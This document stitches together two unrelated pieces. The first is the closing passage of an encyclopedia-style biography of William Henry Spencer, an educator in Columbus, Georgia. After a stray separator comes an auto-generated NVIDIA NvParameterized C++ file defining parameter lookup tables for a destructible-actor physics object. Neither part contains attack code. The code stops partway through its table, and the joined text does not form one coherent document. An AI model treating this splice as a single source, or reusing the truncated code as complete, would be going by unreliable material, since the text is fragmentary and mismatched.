Up until this time, the schools for blacks in Columbus only went to the ninth grade. Parents had to send their children to schools outside of Columbus, usually to Atlanta, if they wanted to go beyond the ninth grade. Eventually, the Board did add one more grade, but Spencer was adamant that a fully accredited high school for African-Americans be created in the City of Columbus. A conditional promise was elicited from the Board contingent on the availability of funds.
Spencer did not live to see his dream become a reality. He was stricken with appendicitis and died on May 30, 1925.
The Board, however, did live up to its promise and erected a fully accredited high school for African-Americans on Tenth Avenue in 1930. The school was named William Henry Spencer High School his honor.
References
External links
Muscogee County Schools Spencer High School web site
The History of Muscogee County School District
1857 births
1925 deaths
African-American schoolteachers
Schoolteachers from Georgia (U.S. state)
People from Columbus, Georgia
20th-century African-American people
|
```c++
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of NVIDIA CORPORATION nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
// OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// This file was generated by NvParameterized/scripts/GenParameterized.pl
#include "DestructibleActorParam_0p19.h"
#include <string.h>
#include <stdlib.h>
using namespace NvParameterized;
namespace nvidia
{
namespace parameterized
{
using namespace DestructibleActorParam_0p19NS;
const char* const DestructibleActorParam_0p19Factory::vptr =
NvParameterized::getVptr<DestructibleActorParam_0p19, DestructibleActorParam_0p19::ClassAlignment>();
const uint32_t NumParamDefs = 255;
static NvParameterized::DefinitionImpl* ParamDefTable; // now allocated in buildTree [NumParamDefs];
static const size_t ParamLookupChildrenTable[] =
{
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 17, 19, 20, 21, 53, 64, 98, 127,
144, 167, 193, 206, 210, 232, 16, 18, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32,
33, 34, 35, 36, 44, 45, 46, 47, 37, 38, 39, 40, 41, 42, 43, 48, 49, 50, 51, 52, 54,
55, 56, 57, 58, 59, 60, 61, 62, 63, 65, 86, 87, 93, 94, 95, 96, 97, 66, 67, 68, 69,
70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92,
99, 107, 108, 109, 110, 123, 124, 125, 126, 100, 101, 102, 103, 104, 105, 106, 111,
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 128, 133, 134, 135, 136, 137,
138, 139, 140, 141, 142, 143, 129, 130, 131, 132, 145, 152, 157, 162, 163, 164, 165,
166, 146, 147, 148, 149, 150, 151, 153, 154, 155, 156, 158, 159, 160, 161, 168, 172,
173, 174, 175, 191, 192, 169, 170, 171, 176, 177, 178, 179, 180, 181, 182, 183, 184,
185, 186, 187, 188, 189, 190, 194, 195, 198, 199, 200, 201, 202, 203, 204, 205, 196,
197, 207, 208, 209, 211, 212, 213, 214, 218, 222, 223, 224, 225, 226, 215, 216, 217,
219, 220, 221, 227, 228, 229, 230, 231, 233, 234, 235, 236, 237, 241, 245, 246, 247,
248, 249, 238, 239, 240, 242, 243, 244, 250, 251, 252, 253, 254,
};
#define TENUM(type) nvidia::##type
#define CHILDREN(index) &ParamLookupChildrenTable[index]
static const NvParameterized::ParamLookupNode ParamLookupTable[NumParamDefs] =
{
{ TYPE_STRUCT, false, 0, CHILDREN(0), 29 },
{ TYPE_STRING, false, (size_t)(&((ParametersStruct*)0)->crumbleEmitterName), NULL, 0 }, // crumbleEmitterName
{ TYPE_F32, false, (size_t)(&((ParametersStruct*)0)->crumbleParticleSpacing), NULL, 0 }, // crumbleParticleSpacing
{ TYPE_STRING, false, (size_t)(&((ParametersStruct*)0)->dustEmitterName), NULL, 0 }, // dustEmitterName
{ TYPE_F32, false, (size_t)(&((ParametersStruct*)0)->dustParticleSpacing), NULL, 0 }, // dustParticleSpacing
{ TYPE_MAT34, false, (size_t)(&((ParametersStruct*)0)->globalPose), NULL, 0 }, // globalPose
{ TYPE_VEC3, false, (size_t)(&((ParametersStruct*)0)->scale), NULL, 0 }, // scale
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->dynamic), NULL, 0 }, // dynamic
{ TYPE_U32, false, (size_t)(&((ParametersStruct*)0)->supportDepth), NULL, 0 }, // supportDepth
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->formExtendedStructures), NULL, 0 }, // formExtendedStructures
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->keepPreviousFrameBoneBuffer), NULL, 0 }, // keepPreviousFrameBoneBuffer
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->useAssetDefinedSupport), NULL, 0 }, // useAssetDefinedSupport
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->useWorldSupport), NULL, 0 }, // useWorldSupport
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->renderStaticChunksSeparately), NULL, 0 }, // renderStaticChunksSeparately
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->createChunkEvents), NULL, 0 }, // createChunkEvents
{ TYPE_ARRAY, true, (size_t)(&((ParametersStruct*)0)->overrideSkinnedMaterialNames), CHILDREN(29), 1 }, // overrideSkinnedMaterialNames
{ TYPE_STRING, false, 1 * sizeof(NvParameterized::DummyStringStruct), NULL, 0 }, // overrideSkinnedMaterialNames[]
{ TYPE_ARRAY, true, (size_t)(&((ParametersStruct*)0)->overrideStaticMaterialNames), CHILDREN(30), 1 }, // overrideStaticMaterialNames
{ TYPE_STRING, false, 1 * sizeof(NvParameterized::DummyStringStruct), NULL, 0 }, // overrideStaticMaterialNames[]
{ TYPE_F32, false, (size_t)(&((ParametersStruct*)0)->sleepVelocityFrameDecayConstant), NULL, 0 }, // sleepVelocityFrameDecayConstant
{ TYPE_BOOL, false, (size_t)(&((ParametersStruct*)0)->useHardSleeping), NULL, 0 }, // useHardSleeping
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->destructibleParameters), CHILDREN(31), 19 }, // destructibleParameters
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->damageCap), NULL, 0 }, // destructibleParameters.damageCap
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->forceToDamage), NULL, 0 }, // destructibleParameters.forceToDamage
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->impactVelocityThreshold), NULL, 0 }, // destructibleParameters.impactVelocityThreshold
{ TYPE_U32, false, (size_t)(&((DestructibleParameters_Type*)0)->minimumFractureDepth), NULL, 0 }, // destructibleParameters.minimumFractureDepth
{ TYPE_I32, false, (size_t)(&((DestructibleParameters_Type*)0)->impactDamageDefaultDepth), NULL, 0 }, // destructibleParameters.impactDamageDefaultDepth
{ TYPE_I32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisDepth), NULL, 0 }, // destructibleParameters.debrisDepth
{ TYPE_U32, false, (size_t)(&((DestructibleParameters_Type*)0)->essentialDepth), NULL, 0 }, // destructibleParameters.essentialDepth
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisLifetimeMin), NULL, 0 }, // destructibleParameters.debrisLifetimeMin
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisLifetimeMax), NULL, 0 }, // destructibleParameters.debrisLifetimeMax
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisMaxSeparationMin), NULL, 0 }, // destructibleParameters.debrisMaxSeparationMin
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisMaxSeparationMax), NULL, 0 }, // destructibleParameters.debrisMaxSeparationMax
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->debrisDestructionProbability), NULL, 0 }, // destructibleParameters.debrisDestructionProbability
{ TYPE_BOUNDS3, false, (size_t)(&((DestructibleParameters_Type*)0)->validBounds), NULL, 0 }, // destructibleParameters.validBounds
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->maxChunkSpeed), NULL, 0 }, // destructibleParameters.maxChunkSpeed
{ TYPE_STRUCT, false, (size_t)(&((DestructibleParameters_Type*)0)->flags), CHILDREN(50), 7 }, // destructibleParameters.flags
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->ACCUMULATE_DAMAGE), NULL, 0 }, // destructibleParameters.flags.ACCUMULATE_DAMAGE
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->DEBRIS_TIMEOUT), NULL, 0 }, // destructibleParameters.flags.DEBRIS_TIMEOUT
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->DEBRIS_MAX_SEPARATION), NULL, 0 }, // destructibleParameters.flags.DEBRIS_MAX_SEPARATION
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->CRUMBLE_SMALLEST_CHUNKS), NULL, 0 }, // destructibleParameters.flags.CRUMBLE_SMALLEST_CHUNKS
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->ACCURATE_RAYCASTS), NULL, 0 }, // destructibleParameters.flags.ACCURATE_RAYCASTS
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->USE_VALID_BOUNDS), NULL, 0 }, // destructibleParameters.flags.USE_VALID_BOUNDS
{ TYPE_BOOL, false, (size_t)(&((DestructibleParametersFlag_Type*)0)->CRUMBLE_VIA_RUNTIME_FRACTURE), NULL, 0 }, // destructibleParameters.flags.CRUMBLE_VIA_RUNTIME_FRACTURE
{ TYPE_F32, false, (size_t)(&((DestructibleParameters_Type*)0)->fractureImpulseScale), NULL, 0 }, // destructibleParameters.fractureImpulseScale
{ TYPE_U16, false, (size_t)(&((DestructibleParameters_Type*)0)->damageDepthLimit), NULL, 0 }, // destructibleParameters.damageDepthLimit
{ TYPE_U16, false, (size_t)(&((DestructibleParameters_Type*)0)->dynamicChunkDominanceGroup), NULL, 0 }, // destructibleParameters.dynamicChunkDominanceGroup
{ TYPE_STRUCT, false, (size_t)(&((DestructibleParameters_Type*)0)->dynamicChunksGroupsMask), CHILDREN(57), 5 }, // destructibleParameters.dynamicChunksGroupsMask
{ TYPE_BOOL, false, (size_t)(&((GroupsMask_Type*)0)->useGroupsMask), NULL, 0 }, // destructibleParameters.dynamicChunksGroupsMask.useGroupsMask
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits0), NULL, 0 }, // destructibleParameters.dynamicChunksGroupsMask.bits0
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits1), NULL, 0 }, // destructibleParameters.dynamicChunksGroupsMask.bits1
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits2), NULL, 0 }, // destructibleParameters.dynamicChunksGroupsMask.bits2
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits3), NULL, 0 }, // destructibleParameters.dynamicChunksGroupsMask.bits3
{ TYPE_ARRAY, true, (size_t)(&((ParametersStruct*)0)->depthParameters), CHILDREN(62), 1 }, // depthParameters
{ TYPE_STRUCT, false, 1 * sizeof(DestructibleDepthParameters_Type), CHILDREN(63), 9 }, // depthParameters[]
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->OVERRIDE_IMPACT_DAMAGE), NULL, 0 }, // depthParameters[].OVERRIDE_IMPACT_DAMAGE
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->OVERRIDE_IMPACT_DAMAGE_VALUE), NULL, 0 }, // depthParameters[].OVERRIDE_IMPACT_DAMAGE_VALUE
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->IGNORE_POSE_UPDATES), NULL, 0 }, // depthParameters[].IGNORE_POSE_UPDATES
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->IGNORE_RAYCAST_CALLBACKS), NULL, 0 }, // depthParameters[].IGNORE_RAYCAST_CALLBACKS
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->IGNORE_CONTACT_CALLBACKS), NULL, 0 }, // depthParameters[].IGNORE_CONTACT_CALLBACKS
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->USER_FLAG_0), NULL, 0 }, // depthParameters[].USER_FLAG_0
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->USER_FLAG_1), NULL, 0 }, // depthParameters[].USER_FLAG_1
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->USER_FLAG_2), NULL, 0 }, // depthParameters[].USER_FLAG_2
{ TYPE_BOOL, false, (size_t)(&((DestructibleDepthParameters_Type*)0)->USER_FLAG_3), NULL, 0 }, // depthParameters[].USER_FLAG_3
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->shapeDescTemplate), CHILDREN(72), 8 }, // shapeDescTemplate
{ TYPE_STRUCT, false, (size_t)(&((ShapeDescTemplate_Type*)0)->flags), CHILDREN(80), 20 }, // shapeDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_TRIGGER_ON_ENTER), NULL, 0 }, // shapeDescTemplate.flags.NX_TRIGGER_ON_ENTER
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_TRIGGER_ON_LEAVE), NULL, 0 }, // shapeDescTemplate.flags.NX_TRIGGER_ON_LEAVE
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_TRIGGER_ON_STAY), NULL, 0 }, // shapeDescTemplate.flags.NX_TRIGGER_ON_STAY
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_VISUALIZATION), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_VISUALIZATION
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_DISABLE_COLLISION), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_FEATURE_INDICES), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_FEATURE_INDICES
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_DISABLE_RAYCASTING), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_DISABLE_RAYCASTING
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_POINT_CONTACT_FORCE), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_POINT_CONTACT_FORCE
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_FLUID_DRAIN), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_FLUID_DRAIN
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_FLUID_DISABLE_COLLISION), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_FLUID_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_FLUID_TWOWAY), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_FLUID_TWOWAY
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_DISABLE_RESPONSE), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_DISABLE_RESPONSE
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_DYNAMIC_DYNAMIC_CCD), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_DYNAMIC_DYNAMIC_CCD
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_DISABLE_SCENE_QUERIES), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_DISABLE_SCENE_QUERIES
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_CLOTH_DRAIN), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_CLOTH_DRAIN
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_CLOTH_DISABLE_COLLISION), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_CLOTH_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_CLOTH_TWOWAY), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_CLOTH_TWOWAY
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_SOFTBODY_DRAIN), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_SOFTBODY_DRAIN
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_SOFTBODY_DISABLE_COLLISION), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_SOFTBODY_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ShapeDescFlags_Type*)0)->NX_SF_SOFTBODY_TWOWAY), NULL, 0 }, // shapeDescTemplate.flags.NX_SF_SOFTBODY_TWOWAY
{ TYPE_U16, false, (size_t)(&((ShapeDescTemplate_Type*)0)->collisionGroup), NULL, 0 }, // shapeDescTemplate.collisionGroup
{ TYPE_STRUCT, false, (size_t)(&((ShapeDescTemplate_Type*)0)->groupsMask), CHILDREN(100), 5 }, // shapeDescTemplate.groupsMask
{ TYPE_BOOL, false, (size_t)(&((GroupsMask_Type*)0)->useGroupsMask), NULL, 0 }, // shapeDescTemplate.groupsMask.useGroupsMask
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits0), NULL, 0 }, // shapeDescTemplate.groupsMask.bits0
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits1), NULL, 0 }, // shapeDescTemplate.groupsMask.bits1
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits2), NULL, 0 }, // shapeDescTemplate.groupsMask.bits2
{ TYPE_U32, false, (size_t)(&((GroupsMask_Type*)0)->bits3), NULL, 0 }, // shapeDescTemplate.groupsMask.bits3
{ TYPE_U16, false, (size_t)(&((ShapeDescTemplate_Type*)0)->materialIndex), NULL, 0 }, // shapeDescTemplate.materialIndex
{ TYPE_F32, false, (size_t)(&((ShapeDescTemplate_Type*)0)->density), NULL, 0 }, // shapeDescTemplate.density
{ TYPE_F32, false, (size_t)(&((ShapeDescTemplate_Type*)0)->skinWidth), NULL, 0 }, // shapeDescTemplate.skinWidth
{ TYPE_U64, false, (size_t)(&((ShapeDescTemplate_Type*)0)->userData), NULL, 0 }, // shapeDescTemplate.userData
{ TYPE_U64, false, (size_t)(&((ShapeDescTemplate_Type*)0)->name), NULL, 0 }, // shapeDescTemplate.name
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->actorDescTemplate), CHILDREN(105), 9 }, // actorDescTemplate
{ TYPE_STRUCT, false, (size_t)(&((ActorDescTemplate_Type*)0)->flags), CHILDREN(114), 7 }, // actorDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_DISABLE_COLLISION), NULL, 0 }, // actorDescTemplate.flags.NX_AF_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_DISABLE_RESPONSE), NULL, 0 }, // actorDescTemplate.flags.NX_AF_DISABLE_RESPONSE
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_LOCK_COM), NULL, 0 }, // actorDescTemplate.flags.NX_AF_LOCK_COM
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_FLUID_DISABLE_COLLISION), NULL, 0 }, // actorDescTemplate.flags.NX_AF_FLUID_DISABLE_COLLISION
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_CONTACT_MODIFICATION), NULL, 0 }, // actorDescTemplate.flags.NX_AF_CONTACT_MODIFICATION
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_FORCE_CONE_FRICTION), NULL, 0 }, // actorDescTemplate.flags.NX_AF_FORCE_CONE_FRICTION
{ TYPE_BOOL, false, (size_t)(&((ActorDescFlags_Type*)0)->NX_AF_USER_ACTOR_PAIR_FILTERING), NULL, 0 }, // actorDescTemplate.flags.NX_AF_USER_ACTOR_PAIR_FILTERING
{ TYPE_F32, false, (size_t)(&((ActorDescTemplate_Type*)0)->density), NULL, 0 }, // actorDescTemplate.density
{ TYPE_U16, false, (size_t)(&((ActorDescTemplate_Type*)0)->actorCollisionGroup), NULL, 0 }, // actorDescTemplate.actorCollisionGroup
{ TYPE_U16, false, (size_t)(&((ActorDescTemplate_Type*)0)->dominanceGroup), NULL, 0 }, // actorDescTemplate.dominanceGroup
{ TYPE_STRUCT, false, (size_t)(&((ActorDescTemplate_Type*)0)->contactReportFlags), CHILDREN(121), 12 }, // actorDescTemplate.contactReportFlags
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_IGNORE_PAIR), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_IGNORE_PAIR
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_START_TOUCH), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_END_TOUCH), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_TOUCH), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_IMPACT), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_IMPACT
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_ROLL), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_ROLL
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_SLIDE), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_SLIDE
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_FORCES), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_FORCES
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_START_TOUCH_FORCE_THRESHOLD), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_START_TOUCH_FORCE_THRESHOLD
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_END_TOUCH_FORCE_THRESHOLD), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_END_TOUCH_FORCE_THRESHOLD
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_ON_TOUCH_FORCE_THRESHOLD), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_ON_TOUCH_FORCE_THRESHOLD
{ TYPE_BOOL, false, (size_t)(&((ContactPairFlag_Type*)0)->NX_NOTIFY_CONTACT_MODIFICATION), NULL, 0 }, // actorDescTemplate.contactReportFlags.NX_NOTIFY_CONTACT_MODIFICATION
{ TYPE_U16, false, (size_t)(&((ActorDescTemplate_Type*)0)->forceFieldMaterial), NULL, 0 }, // actorDescTemplate.forceFieldMaterial
{ TYPE_U64, false, (size_t)(&((ActorDescTemplate_Type*)0)->userData), NULL, 0 }, // actorDescTemplate.userData
{ TYPE_U64, false, (size_t)(&((ActorDescTemplate_Type*)0)->name), NULL, 0 }, // actorDescTemplate.name
{ TYPE_U64, false, (size_t)(&((ActorDescTemplate_Type*)0)->compartment), NULL, 0 }, // actorDescTemplate.compartment
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->bodyDescTemplate), CHILDREN(133), 12 }, // bodyDescTemplate
{ TYPE_STRUCT, false, (size_t)(&((BodyDescTemplate_Type*)0)->flags), CHILDREN(145), 4 }, // bodyDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((BodyDescFlags_Type*)0)->NX_BF_DISABLE_GRAVITY), NULL, 0 }, // bodyDescTemplate.flags.NX_BF_DISABLE_GRAVITY
{ TYPE_BOOL, false, (size_t)(&((BodyDescFlags_Type*)0)->NX_BF_FILTER_SLEEP_VEL), NULL, 0 }, // bodyDescTemplate.flags.NX_BF_FILTER_SLEEP_VEL
{ TYPE_BOOL, false, (size_t)(&((BodyDescFlags_Type*)0)->NX_BF_ENERGY_SLEEP_TEST), NULL, 0 }, // bodyDescTemplate.flags.NX_BF_ENERGY_SLEEP_TEST
{ TYPE_BOOL, false, (size_t)(&((BodyDescFlags_Type*)0)->NX_BF_VISUALIZATION), NULL, 0 }, // bodyDescTemplate.flags.NX_BF_VISUALIZATION
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->wakeUpCounter), NULL, 0 }, // bodyDescTemplate.wakeUpCounter
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->linearDamping), NULL, 0 }, // bodyDescTemplate.linearDamping
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->angularDamping), NULL, 0 }, // bodyDescTemplate.angularDamping
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->maxAngularVelocity), NULL, 0 }, // bodyDescTemplate.maxAngularVelocity
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->CCDMotionThreshold), NULL, 0 }, // bodyDescTemplate.CCDMotionThreshold
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->sleepLinearVelocity), NULL, 0 }, // bodyDescTemplate.sleepLinearVelocity
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->sleepAngularVelocity), NULL, 0 }, // bodyDescTemplate.sleepAngularVelocity
{ TYPE_U32, false, (size_t)(&((BodyDescTemplate_Type*)0)->solverIterationCount), NULL, 0 }, // bodyDescTemplate.solverIterationCount
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->sleepEnergyThreshold), NULL, 0 }, // bodyDescTemplate.sleepEnergyThreshold
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->sleepDamping), NULL, 0 }, // bodyDescTemplate.sleepDamping
{ TYPE_F32, false, (size_t)(&((BodyDescTemplate_Type*)0)->contactReportThreshold), NULL, 0 }, // bodyDescTemplate.contactReportThreshold
{ TYPE_STRUCT, false, (size_t)(&((ParametersStruct*)0)->p3ShapeDescTemplate), CHILDREN(149), 8 }, // p3ShapeDescTemplate
{ TYPE_STRUCT, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->flags), CHILDREN(157), 6 }, // p3ShapeDescTemplate.flags
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->eSIMULATION_SHAPE), NULL, 0 }, // p3ShapeDescTemplate.flags.eSIMULATION_SHAPE
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->eSCENE_QUERY_SHAPE), NULL, 0 }, // p3ShapeDescTemplate.flags.eSCENE_QUERY_SHAPE
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->eTRIGGER_SHAPE), NULL, 0 }, // p3ShapeDescTemplate.flags.eTRIGGER_SHAPE
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->eVISUALIZATION), NULL, 0 }, // p3ShapeDescTemplate.flags.eVISUALIZATION
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->ePARTICLE_DRAIN), NULL, 0 }, // p3ShapeDescTemplate.flags.ePARTICLE_DRAIN
{ TYPE_BOOL, false, (size_t)(&((P3ShapeFlags_Type*)0)->eDEFORMABLE_DRAIN), NULL, 0 }, // p3ShapeDescTemplate.flags.eDEFORMABLE_DRAIN
{ TYPE_STRUCT, false, (size_t)(&((P3ShapeDescTemplate_Type*)0)->simulationFilterData), CHILDREN(163), 4 }, // p3ShapeDescTemplate.simulationFilterData
{ TYPE_U32, false, (size_t)(&((P3FilterData_Type*)0)->word0), NULL, 0 }, // p3ShapeDescTemplate.simulationFilterData.word0
